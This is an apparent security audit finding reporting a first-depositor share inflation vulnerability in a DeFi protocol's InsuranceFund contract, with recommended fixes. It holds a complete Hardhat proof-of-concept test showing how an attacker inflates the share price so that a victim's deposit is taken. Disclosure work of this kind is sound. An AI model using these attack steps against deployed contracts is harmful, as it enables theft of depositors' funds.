p12473 - InsuranceFund is still vulnerable to share inflation attack

[sherlock-admin]

p12473

high

InsuranceFund is still vulnerable to share inflation attack

Summary

Although reported previously in a Code4rena audit, the InsuranceFund is still vulnerable to a share inflation attack.

Vulnerability Detail

This is your typical first share inflation attack. The first depositor into the InsuranceFund will deposit 1 wei to mint 1 wei of shares. Subsequently the depositor will deposit directly into the InsuranceFund to inflate the value of that first share. When other users want to deposit into the InsuranceFund, they will not receive any share in return if the amount that they are depositing is less than the value of the first share.

Copy the following test into the InsuranceFund.js test.

describe('Insurance Fund Share Inflation Test', function() {
    before('factories', async function() {
        signers = await ethers.getSigners()
        alice = signers[0].address
        ;([ bob, charlie, mockMarginAccount, admin ] = signers.slice(10))
        ;({ marginAccount, vusd, oracle, clearingHouse, insuranceFund, marginAccountHelper } = await setupContracts())
        await vusd.grantRole(await vusd.MINTER_ROLE(), admin.address)
    })

    it('Share Inflation attack', async function() {
        initialBalance = _1e6.mul(1000)                     // Insurance fund and Bob has 1000 VUSD initially
        aliceInitialBalance = _1e6.mul(1000_000)            // Alice (malicious) has 1000_000 VUSD initially
        
        // Mint initial balances
        await vusd.connect(admin).mint(insuranceFund.address, initialBalance)
        await vusd.connect(admin).mint(alice, aliceInitialBalance)
        await vusd.connect(admin).mint(bob.address, initialBalance)

        // Approve fund to transfer VUSD
        await vusd.approve(insuranceFund.address, aliceInitialBalance)
        await vusd.connect(bob).approve(insuranceFund.address, initialBalance)

        // 1. Remove fees accumulated when there is no lP
        await insuranceFund.deposit(0);
        expect(await vusd.balanceOf(insuranceFund.address)).to.eq(0)
        expect(await insuranceFund.pricePerShare()).to.eq(_1e6)
        expect(await insuranceFund.totalSupply()).to.eq(0)

        // 2. Deposit 1 share
        await insuranceFund.deposit(1);
        expect(await vusd.balanceOf(insuranceFund.address)).to.eq(1)
        expect(await insuranceFund.pricePerShare()).to.eq(_1e6)
        expect(await insuranceFund.totalSupply()).to.eq(1)

        // 3. Inflate pool
        await vusd.transfer(insuranceFund.address, aliceInitialBalance.sub(1));
        expect(await insuranceFund.totalSupply()).to.eq(1)
        expect(await insuranceFund.pricePerShare()).to.eq(_1e18)                        // 1 wei of share is now worth 1e12 so one full share is worth 1e18

        // 4. Victim tries to deposit
        await insuranceFund.connect(bob).deposit(initialBalance);                       // Bob tries to deposit 1k VUSD
        console.log(await insuranceFund.pricePerShare());
        expect(await insuranceFund.pricePerShare()).to.eq(_1e18.add(_1e18.div(1000)))   // 1 wei of share is now worth 1m VUSD (1e12) + 1k VUSD (1e9) so one full share is worth 1e18 + 1e15
        expect(await insuranceFund.totalSupply()).to.eq(1)                              // No new shares minted
        expect(await vusd.balanceOf(bob.address)).to.eq(0)                              // Bob's balance is 0
    })

})

Run the test with npx hardhat test ./test/unit/InsuranceFund.js

Impact

Future depositors will be priced out and have their deposits indirectly “stolen” by the first depositor.

Code Snippet

https://github.com/hubble-exchange/hubble-protocol/blob/d89714101dd3494b132a3e3f9fed9aca4e19aef6/contracts/InsuranceFund.sol#L89-L111

Tool used

Manual Review

Recommendation

There are many suggestions here but IMO, I think the best solution is to

1. require that the amount of shares minted cannot be 0 (this prevents users from losing their deposits)
2. manually track all assets deposited into the InsuranceFund instead of relying on balanceOf (this prevents the inflation of the first share because direct transfers of assets into the InsuranceFund do not count towards the value of the share. Also ensure that the fees for the LP are tracked properly).

Duplicate of #140